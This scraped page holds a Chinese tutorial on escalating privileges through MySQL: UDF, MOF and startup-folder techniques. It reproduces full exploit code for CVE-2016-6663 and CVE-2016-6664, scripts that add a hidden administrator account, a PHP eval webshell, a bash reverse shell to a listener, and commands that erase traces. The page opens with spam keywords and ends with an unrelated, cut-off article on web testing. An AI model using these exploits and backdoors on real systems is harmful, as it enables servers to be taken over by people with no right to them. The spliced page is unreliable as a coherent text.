Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 日本精品在线观看视频,窝窝午夜看片成人精品,欧美国产在线视频

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          mysql提權總結

          前兩天參加了省賽的內網滲透,在拿到webshell后發現是一個站庫分離,通過信息搜集得到了數據庫的賬號密碼,但是是一個www-data權限,執行不了代理的命令,這時候就需要提權到root權限才能夠執行命令,最后還沒有通過udf提權,而是通過/tmp這個目錄能夠修改權限,改為777權限后使用的代理。因為linux打得比較少,我們隊在這個地方卡了很久,導致只打到了第一層網絡,第二層內網就沒有時間去打,所以補一下關于mysql的提權知識。

          UDF提權

          何為UDF

          UDF是mysql的一個拓展接口,UDF(Userdefined function)可翻譯為用戶自定義函數,這個是用來拓展Mysql的技術手段。

          使用過MySQL的人都知道,MySQL有很多內置函數提供給使用者,包括字符串函數、數值函數、日期和時間函數等,給開發人員和使用者帶來了很多方便。MySQL的內置函數雖然豐富,但畢竟不能滿足所有人的需要,有時候我們需要對表中的數據進行一些處理而內置函數不能滿足需要的時候,就需要對MySQL進行一些擴展,幸運的是,MySQL給使用者提供了添加新函數的機制,這種使用者自行添加的MySQL函數就稱為UDF(User Define Function)。其實除了UDF外,使用者還可以將函數添加為MySQL的固有(內建)函數,固有函數被編譯進mysqld服務器中,稱為永久可用的,不過這種方式較添加UDF復雜,升級維護都較為麻煩,這里我們不做討論。無論你使用哪種方法去添加新函數,它們都可以被SQL聲明調用,就像 ABS()或SUM()這樣的固有函數一樣。

          UDF利用條件

          1.知道數據庫的用戶和密碼;2.mysql可以遠程登錄;3.mysql有寫入文件的權限,即secure_file_priv的值為空。

          關于第一點就不用多說了,可以通過拿到webshell之后翻閱文件得到,對于不同情況下有不同得獲取方式,這里不再贅述;主要提一下第二三點。

          在默認情況下,mysql只允許本地登錄,我們知道可以通過navicat去連接數據庫(在知道帳號密碼的情況下),但是如果只允許本地登錄的情況下,即使知道賬號密碼的情況下也不能夠連接上mysql數據庫,那么在這種情況下就只有通過拿到本機的高權限rdp登陸遠程桌面后連接。

          遠程連接對應的設置在mysql目錄下的/etc/mysql/my.conf文件,對應的設置為bind-address = 127.0.0.1這一行,這是默認情況下的設置,如果我們要允許在任何主機上面都能夠遠程登錄mysql的話,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0

          光更改配置文件還不夠,還需要給遠程登陸的用戶賦予權限,首先新建一個admin/123456用戶,使用%來允許任意ip登錄mysql,這樣我們就能夠通過navicat使用admin/123456用戶遠程連接到數據庫

          grant all on *.* to admin@'%' identified by '123456' with grant option;
          flush privileges;

          關于第三點的secure_file_priv參數,這里有三個值,分別為NULL/tmp、空,NULL顧名思義即不允許導入或導出,那么在這種情況下就不能使用sql語句向數據庫內寫入任何語句,/tmp的意思是只能在/tmp目錄下寫入文件,這種情況下就需要考慮寫入文件到文件夾后能否在網頁上訪問連接到這個目錄,如果這個值為空,那么就可以通過構造sql語句向mysql數據庫下的任何目錄寫入文件。

          這里還有一個需要了解的點就是在mysql5.5版本之前secure_file_priv這個值是默認為空的,那么我們拿到的webshell如果對應的mysql數據庫版本在5.5以下的話操作起來就比較方便,在mysql5.5版本之后secure_file_priv這個值是默認為NULL的,即不能夠往數據庫內寫入文件。

          手動提權

          首先這里現在官網下載一個mysql,這里我下載的是5.5.19,注意這里需要下msi文件,不要下zip文件

          下載好后進行安裝即可

          這里使用utf-8字符集

          安裝好后使用mysql -u root -p進入mysql

          因為我是5.5.19版本,必須把 UDF 的動態鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創建自定義函數。這里說到了動態鏈接庫,動態鏈接庫就是實現共享函數庫概念的一種方式,在windows環境下后綴名為.dll,在linnux環境下后綴名為.so

          那么這里利用.dll.so文件在哪里去找呢?這兩個文件在sqlmap和msf里面都有內置

          首先在sqlmap里面找一下,在sqlmap里面對應的目錄地址為udf/mysql,這里進入目錄后可以看到sqlmap已經幫我們分好類了

          不過 sqlmap 中 自帶這些動態鏈接庫為了防止被誤殺都經過編碼處理過,不能被直接使用。這里如果后綴名為.so_dll_的話,就需要解碼,如果后綴名為.so.dll的話就不需要解碼即可直接使用。這里sqlmap也自帶了解碼的py腳本,在/extra/cloak目錄下,使用cloak.py解密即可。

          命令如下(這里使用到64位的dll,其他版本改后綴名即可)

          python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

          這里好像因為我本機的環境配置的問題這里py3沒有執行成功,這里換到kali環境里面使用py2解密

          python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll


          另外可以用msf提供的動態鏈接庫文件,這里注意msf里面的動態鏈接庫是已經解密好了的可以直接使用,msf下的動態鏈接庫目錄如下

          /usr/share/metasploit-framework/data/exploits/mysql/
          


          直接拿出來使用010 editor進行查看是包含了一些函數

          解密過程完成之后就需要把解密得到的UDF動態鏈接庫文件放到mysql的插件目錄下,這里使用如下命令查詢插件目錄的位置

          show variables like "%plugin%";

          這里可以看到我的插件目錄就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin

          使用select @@basedir查看一下MySQL安裝的位置

          這里因為只單獨安裝了一個MySQL,沒有安裝其他的web,所以為了更好的還原環境,這里使用phpstudy來搭建環境,這里假設我已經拿到了一個目標機器的webshell,但是這里權限很低,使用到udf提權

          首先來到MySQL/lib文件夾下,這里可以看到是沒有plugin這個文件夾的,所以這里需要我們先創建一個文件夾

          創建plugin文件夾

          然后把解密過后的lib_mysqludf_sys_64.dll放到plugin文件夾下

          這里為了方便我把dll改名為udf.dll,但是這里報錯ERROR 1126,這里我百度過后發現這個dll并不是跟系統位數有關的,而是跟mysql版本有關系,而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作

          CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

          這里我上傳一個32位的dll到plugin文件夾內

          再使用命令創建自定義函數即可

          然后使用命令查看是否新增了sys_eval函數

          select * from mysql.func;

          可以看到這里創建成功那么就可以執行系統命令,到這里就是一個高權限了,而且如果有disable_functions把函數禁用了,用udf提權也是能夠操作的

          拓展:UDF shell

          允許外連

          這里可以使用寫好的大馬udf.php來自動提權,我們測試一下

          首先把php上傳到可以網頁訪問的位置,這里我直接連接報錯了應該是因為沒有設置可以外連,只允許本地連接,首先實驗一下允許外聯的情況

          這里進入my.ini文件設置bind-address = 0.0.0.0

          然后創建一個admin/123456用戶允許外連

          再次登錄即可登錄成功

          這里首先dump udf.dllplugin文件夾下,這里可以看到dump dll成功

          然后創建函數,再執行命令即可

          不允許外連

          這里我們再把bind-address = 0.0.0.0這行注釋掉之后進行試驗,因為不允許外連,那么只有本地連接數據庫,這時候很容易想到正向連接我們代理進去連接數據庫。這里使用reg、ew都可以,但是這里因為是mysql的原因,使用navicat自帶的tunnel腳本會更加方便。

          首先測試一下,是不允許外連的(這里圖搞錯了)

          這里上傳nutunnel_mysql.php到靶機上訪問,這里看到已經連接成功了

          然后連接的時候設置HTTP隧道

          即可連接到mysql,然后提權操作同前

          MOF提權

          mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對象格式"其作用是每隔五秒就會去監控進程創建和死亡。其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。

          利用條件

          1. 只使用于windows系統,一般低版本系統才可以用,比如xp、server2003
          2. C:\Windows\System32\wbem\MOF目錄有讀寫權限
          3. 可以找到一個可寫目錄,寫入mof文件

          手動提權

          這里我沒有安裝2003的虛擬機,所以就不放圖了,寫一下提權的步驟

          生成testmod.mod文件并上傳到靶機的可寫目錄

          #pragma namespace("\\\\.\\root\\subscription") 
          
          instance of __EventFilter as $EventFilter 
          { 
              EventNamespace = "Root\\Cimv2"; 
              Name  = "filtP2"; 
              Query = "Select * From __InstanceModificationEvent " 
                      "Where TargetInstance Isa \"Win32_LocalTime\" " 
                      "And TargetInstance.Second = 5"; 
              QueryLanguage = "WQL"; 
          }; 
          
          instance of ActiveScriptEventConsumer as $Consumer 
          { 
              Name = "consPCSV2"; 
              ScriptingEngine = "JScript"; 
              ScriptText = 
          "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; 
          }; 
          
          instance of __FilterToConsumerBinding 
          { 
              Consumer   = $Consumer; 
              Filter = $EventFilter; 
          };

          進入mysql命令行執行導入命令,導入完成過后系統會自動運行

          select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

          使用net user命令即可發現已經加入了管理員組

          msf提權

          msf內置了MOF提權模塊,相比于手動提權的好處就是msf的MOF模塊有自動清理痕跡的功能

          use exploit/windows/mysql/mysql_mof
          set payload windows/meterpreter/reverse_tcp
          set rhosts 192.168.10.17
          set username root
          set password root
          run

          拓展

          因為每隔幾分鐘時間又會重新執行添加用戶的命令,所以想要清理痕跡得先暫時關閉 winmgmt 服務再刪除相關 mof 文件,這個時候再刪除用戶才會有效果

          # 停止 winmgmt 服務
          net stop winmgmt
          
          # 刪除 Repository 文件夾
          rmdir /s /q C:\Windows\system32\wbem\Repository\
          
          # 手動刪除 mof 文件
          del C:\Windows\system32\wbem\mof\good\test.mof /F /S
          
          # 刪除創建的用戶
          net user hacker /delete
          
          # 重新啟動服務
          net start winmgmt

          啟動項提權

          windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。

          這個地方既然碰到了啟動項提權,就總結一下不限于mysql的啟動項提權方法。

          啟動項路徑

          在windows2003的系統下,啟動項路徑如下:

          C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
          C:\Documents and Settings\All Users\「開始」菜單\程序\啟動

          在windows2008的系統下,啟動項路徑如下:

          C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
          C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

          自動化腳本

          我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 “C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。

          這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼

          set wshshell=createobject("wscript.shell")
          a=wshshell.run("cmd.exe /c net user test test123 /add",0)
          b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

          使用sql語句

          連接到mysql之后創建一個表寫入sql語句

          use mysql;
          create table test(cmd text);
          insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
          insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
          insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
          select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;

          重啟之后即可提權

          CVE-2016-6663&CVE-2016-6664

          CVE-2016-6663是競爭條件(race condition)漏洞,它能夠讓一個低權限賬號(擁有CREATE/INSERT/SELECT權限)提升權限并且以系統用戶身份執行任意代碼。也就是說,我們可以通過他得到一整個mysql的權限。

          CVE-2016-6664是root權限提升漏洞,這個漏洞可以讓擁有MySQL系統用戶權限的攻擊者提升權限至root,以便進一步攻擊整個系統。

          導致這個問題的原因其實是因為MySQL對錯誤日志以及其他文件的處理不夠安全,這些文件可以被替換成任意的系統文件,從而被利用來獲取root權限。可以看到,兩個cve分別是用來將低權限的www-data權限提升為mysql權限,然后再將mysql提升為root權限。

          利用條件

          CVE-2016-6663

          • 1.已經getshell,獲得www-data權限
          • 2.獲取到一個擁有create,drop,insert,select權限的數據庫賬號,密碼
          • 3.提權過程需要在交互式的shell環境中運行,所以需要反彈shell再提權
          • 4.Mysql<5.5.51或<5.6.32或<5.7.14

          CVE-2016-6664

          • 1.目標主機配置必須是是基于文件的日志(默認配置),也就是不能是syslog方式(通過cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看沒有包含“syslog”字樣即可)
          • 2.需要在mysql權限下運行才能利用
          • 3.Mysql<5.5.51或<5.6.32或<5.7.14

          環境搭建

          這里使用到tutum/lamp的鏡像環境,運行docker并連接

          docker pull tutum/lamp
          docker run -d -P tutum/lamp
          docker ps
          docker exec -it b9 /bin/bash

          安裝apt,wget,gcc,libmysqlclient-dev

          apt update
          apt install -y wget gcc libmysqlclient-dev

          寫入一個一句話木馬方便后續連接,這里注意,linux環境下用echo命令寫入木馬需要加' '進行轉義,否則會報錯

          cd /var/html
          echo '<?php @eval($_POST['hacker']); ?>' > shell.php

          給web路徑賦予777權限

          chmod -R 777 /var/www/html

          進入mysql環境添加一個對test庫有create,drop,insert,select權限的test用戶,密碼為123456

          將apache2和mysql服務重啟并重新保存容器,將新容器的80端口映射到8080端口,3306映射到3306端口的方式運行容器。

          service restart apache2
          service restart mysql
          
          ocker commit c0ae81326db0 test/lamp
          docker run -d -p 8080:80 -p 3306:3306 test/lamp

          訪問一下8080端口若出現如下界面則環境搭建成功

          CVE-2016-6663

          cve-2016-6663即將www-data權限提升為mysql權限,首先連接我們之前寫入的webshell

          首先看一下權限跟目錄的可執行狀況,可以看到html目錄下是777

          然后寫入exp,命名為mysql-privesc-race.c,exp如下所示

          #include <fcntl.h>
          #include <grp.h>
          #include <mysql.h>
          #include <pwd.h>
          #include <stdint.h>
          #include <stdio.h>
          #include <stdlib.h>
          #include <string.h>
          #include <sys/inotify.h>
          #include <sys/stat.h>
          #include <sys/types.h>
          #include <sys/wait.h>
          #include <time.h>
          #include <unistd.h>
          
          
          #define EXP_PATH          "/tmp/mysql_privesc_exploit"
          #define EXP_DIRN          "mysql_privesc_exploit"
          #define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
          #define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
          
          #define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"
          
          #define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary
          
          MYSQL *conn;		  // DB handles
          MYSQL_RES *res;
          MYSQL_ROW row;
          
          unsigned long cnt;
          
          
          void intro() {
          
          printf( 
                  "\033[94m\n"
                  "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
                  "mysql-privesc-race.c (ver. 1.0)\n\n"
                  "CVE-2016-6663 / CVE-2016-5616\n\n"
                  "For testing purposes only. Do no harm.\n\n"
          	"Discovered/Coded by:\n\n"
          	"Dawid Golunski \n"
          	"http://legalhackers.com"
                  "\033[0m\n\n");
          
          }
          
          void usage(char *argv0) {
              intro();
              printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
          }
          
          void mysql_cmd(char *sql_cmd, int silent) {
              
              if (!silent) {
          	    printf("%s \n", sql_cmd);
              }
              if (mysql_query(conn, sql_cmd)) {
                  fprintf(stderr, "%s\n", mysql_error(conn));
                  exit(1);
              }
              res = mysql_store_result(conn);
              if (res>0) mysql_free_result(res);
          
          }
          
          
          int main(int argc,char **argv)
          {
          
              int randomnum = 0;
              int io_notified = 0;
              int myd_handle;
              int wpid;
              int is_shell_suid=0;
              pid_t pid;
              int status;
              struct stat st;
              /* io notify */
              int fd;
              int ret;
              char buf[4096] __attribute__((aligned(8)));
              int num_read;
              struct inotify_event *event;
              /* credentials */
              char *user     = argv[1];
              char *password = argv[2];
              char *db_host  = argv[3];
              char *database = argv[4];
          
          
              // Disable buffering of stdout
              setvbuf(stdout, NULL, _IONBF, 0);
          
              // Get the params
              if (argc!=5) {
          	usage(argv[0]);
          	exit(1);
              } 
              intro();
              // Show initial privileges
              printf("\n[+] Starting the exploit as: \n");
              system("id");
          
              // Connect to the database server with provided credentials
              printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
              conn = mysql_init(NULL);
              if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
                  fprintf(stderr, "%s\n", mysql_error(conn));
                  exit(1);
              }
          
              // Prepare tmp dir
              printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
              umask(000);
              system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
              system("chmod g+s /tmp/" EXP_DIRN );
          
              // Prepare exploit tables :)
              printf("\n[+] Creating mysql tables \n\n");
              mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
              mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
              mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
              mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
          
              // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
              // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
              printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
              system("cp /bin/bash " SUID_SHELL);
              system("ls -l " SUID_SHELL);
          
              // Use inotify to get the timing right
              fd = inotify_init();
              if (fd < 0) {
                  printf("failed to inotify_init\n");
                  return -1;
              }
              ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
          
          
              /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
          
              printf("\n[+] Entering the race loop... Hang in there...\n");
          
              while ( is_shell_suid != 1 ) {
          
                  cnt++;
          	if ( (cnt % 100) == 0 ) {
          	 	printf("->");
          	 	//fflush(stdout);	
          	}
          
                  /* Create empty file , remove if already exists */
                  unlink(MYSQL_TEMP_FILE);
                  unlink(MYSQL_TAB_FILE);
             	mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
          	mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
          
          	/* random num if needed */
                  srand ( time(NULL) );
                  randomnum = ( rand() % MAX_DELAY );
          
                  // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
                  pid = fork();
                  if (pid < 0) {
                      fprintf(stderr, "Fork failed :(\n");
                  }
          
                  /* Child process - executes REPAIR TABLE  SQL statement */
                  if (pid == 0) {
                      usleep(500);
                      unlink(MYSQL_TEMP_FILE);
          	    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
                      // child stops here
                      exit(0);
                  }
          
                  /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
                  if (pid > 0 ) {
                      io_notified = 0;
          
                      while (1) {
                          int processed = 0;
                          ret = read(fd, buf, sizeof(buf));
                          if (ret < 0) {
                              break;
                          }
                          while (processed < ret) {
                              event = (struct inotify_event *)(buf + processed);
                              if (event->mask & IN_CLOSE) {
                                  if (!strcmp(event->name, "exploit_table.TMD")) {
                                      //usleep(randomnum);
          
          			    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
          			    unlink(MYSQL_TAB_FILE);
          			    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
          			    close(myd_handle);
          			    chmod(MYSQL_TAB_FILE, 04777);
          
          			    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                                      unlink(MYSQL_TEMP_FILE);
                                      symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                                      io_notified=1;
                                  }
                              }
                              processed += sizeof(struct inotify_event);
                          }
                          if (io_notified) {
                              break;
                          }
                      }
          
          
                      waitpid(pid, &status, 0);
                  }
          
          	// Check if SUID bit was set at the end of this attempt
                  if ( lstat(SUID_SHELL, &st) == 0 ) {
          	    if (st.st_mode & S_ISUID) {
          		is_shell_suid = 1;
          	    }
                  } 
          
              }
          
              printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
              system("ls -l " SUID_SHELL);
          
              printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
              system(SUID_SHELL " -p -i ");
              //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
          
              /* close MySQL connection and exit */
              printf("\n[+] Job done. Exiting\n\n");
              mysql_close(conn);
              return 0;
          
          }

          這里我直接用蟻劍執行的話執行不了

          使用nc配合bash命令反彈后執行命令,即可從www-data權限提升到mysql權限

          nc -lvvp 7777
          /bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1
          
          cd var/www/html/
          gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
          ./mysql-privesc-race test 123456 localhost test

          CVE-2016-6664

          cve-2016-6664即把mysql權限提升到root權限

          tutum/lamp日志方式不是默認的基于文件的日志,而是syslog,所以我們首先要將它改為默認配置

          vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf

          刪除掉syslog,然后重啟mysql

          使用exp

          #!/bin/bash -p
          #
          # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
          # mysql-chowned.sh (ver. 1.0)
          #
          # CVE-2016-6664 / OCVE-2016-5617
          #
          # Discovered and coded by:
          #
          # Dawid Golunski
          # dawid[at]legalhackers.com
          #
          # https://legalhackers.com
          #
          # Follow https://twitter.com/dawid_golunski for updates on this advisory.
          #
          # This PoC exploit allows attackers to (instantly) escalate their privileges
          # from mysql system account to root through unsafe error log handling.
          # The exploit requires that file-based logging has been configured (default).
          # To confirm that syslog logging has not been enabled instead use:
          # grep -r syslog /etc/mysql
          # which should return no results.
          #
          # This exploit can be chained with the following vulnerability:
          # CVE-2016-6663 / OCVE-2016-5616
          # which allows attackers to gain access to mysql system account (mysql shell).
          #
          # In case database server has been configured with syslog you may also use:
          # CVE-2016-6662 as an alternative to this exploit.
          #
          # Usage:
          # ./mysql-chowned.sh path_to_error.log 
          #
          #
          # See the full advisory for details at:
          # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
          #
          # Video PoC:
          # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
          #
          # Disclaimer:
          # For testing purposes only. Do no harm.
          #
          
          BACKDOORSH="/bin/bash"
          BACKDOORPATH="/tmp/mysqlrootsh"
          PRIVESCLIB="/tmp/privesclib.so"
          PRIVESCSRC="/tmp/privesclib.c"
          SUIDBIN="/usr/bin/sudo"
          
          function cleanexit {
              # Cleanup 
              echo -e "\n[+] Cleaning up..."
              rm -f $PRIVESCSRC
              rm -f $PRIVESCLIB
              rm -f $ERRORLOG
              touch $ERRORLOG
              if [ -f /etc/ld.so.preload ]; then
                  echo -n > /etc/ld.so.preload
              fi
              echo -e "\n[+] Job done. Exiting with code $1 \n"
              exit $1
          }
          
          function ctrl_c() {
                  echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
              cleanexit 0
          }
          
          #intro 
          echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
          echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
          
          # Args
          if [ $# -lt 1 ]; then
              echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
              echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
              exit 3
          fi
          
          # Priv check
          
          echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
          id | grep -q mysql 
          if [ $? -ne 0 ]; then
              echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
              exit 3
          fi
          
          # Set target paths
          ERRORLOG="$1"
          if [ ! -f $ERRORLOG ]; then
              echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
              exit 3
          fi
          echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
          
          # [ Active exploitation ]
          
          trap ctrl_c INT
          # Compile privesc preload library
          echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
          cat <<_solibeof_>$PRIVESCSRC
          #define _GNU_SOURCE
          #include <stdio.h>
          #include <sys/stat.h>
          #include <unistd.h>
          #include <dlfcn.h>
                 #include <sys/types.h>
                 #include <sys/stat.h>
                 #include <fcntl.h>
          
          uid_t geteuid(void) {
              static uid_t  (*old_geteuid)();
              old_geteuid = dlsym(RTLD_NEXT, "geteuid");
              if ( old_geteuid() == 0 ) {
                  chown("$BACKDOORPATH", 0, 0);
                  chmod("$BACKDOORPATH", 04777);
                  //unlink("/etc/ld.so.preload");
              }
              return old_geteuid();
          }
          _solibeof_
          /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
          if [ $? -ne 0 ]; then
              echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
              cleanexit 2;
          fi
          
          
          # Prepare backdoor shell
          cp $BACKDOORSH $BACKDOORPATH
          echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
          
          # Safety check
          if [ -f /etc/ld.so.preload ]; then
              echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
              exit 2
          fi
          
          # Symlink the log file to /etc
          rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
          if [ $? -ne 0 ]; then
              echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
              cleanexit 3
          fi
          echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
          
          # Wait for MySQL to re-open the logs
          echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
          read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
          if [ "$THE_ANSWER" = "y" ]; then
              echo -e "Got it. Executing 'killall mysqld' now..."
              killall mysqld
          fi
          while :; do 
              sleep 0.1
              if [ -f /etc/ld.so.preload ]; then
                  echo $PRIVESCLIB > /etc/ld.so.preload
                  rm -f $ERRORLOG
                  break;
              fi
          done
          
          # /etc/    dir should be owned by mysql user at this point
          # Inject the privesc.so shared library to escalate privileges
          echo $PRIVESCLIB > /etc/ld.so.preload
          echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
          echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
          echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
          chmod 755 /etc/ld.so.preload
          
          # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
          echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
          sudo 2>/dev/null >/dev/null
          
          #while :; do 
          #    sleep 0.1
          #    ps aux | grep mysqld | grep -q 'log-error'
          #    if [ $? -eq 0 ]; then
          #        break;
          #    fi
          #done
          
          # Check for the rootshell
          ls -l $BACKDOORPATH
          ls -l $BACKDOORPATH | grep rws | grep -q root
          if [ $? -eq 0 ]; then 
              echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
              echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
          else
              echo -e "\n[!] Failed to get root"
              cleanexit 2
          fi
          
          
          # Execute the rootshell
          echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
          $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
          $BACKDOORPATH -p
          
          # Job done.
          cleanexit 0

          在剛才mysql權限的shell中下載提權腳本并執行,即可得到root權限

          wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
          chmod 777 mysql-chowned.sh
          ./mysql-chowned.sh /var/log/mysql/error.log


          點擊鏈接開始實驗:實驗:MySQL提權(合天網安實驗室)


          udf通過添加新函數,對MySQL的功能進行擴充,使用UDF提權原理就是通過引入udf.dll,引入自定義函數,執行系統命令。通過實驗學習真實滲透場景中的MySQL udf提權方法,掌握兩種dll文件導入方式,通過udf提權執行系統命令。

          多人問我,web項目測試需要從哪幾方面進行測試才不會遺漏?因此小編整理了五大項必須要測的內容,希望對大家有所幫助!

          測試項目一、功能測試

          1、鏈接測試

          鏈接是Web應用系統的一個主要特征,它是在頁面之間切換和指導用戶去一些不知道地址的頁面的主要手段。鏈接測試可分為三個方面。首先,測試所有鏈接是否按指示的那樣確實鏈接到了該鏈接的頁面;其次,測試所鏈接的頁面是否存在;最后,保證Web應用系統上沒有孤立的頁面,所謂孤立頁面是指沒有鏈接指向該頁面,只有知道正確的URL地址才能訪問。

          接測試可以自動進行,現在已經有許多工具可以采用。鏈接測試必須在集成測試階段完成,也就是說,在整個Web應用系統的所有頁面開發完成之后進行鏈接測試。

          2、表單測試

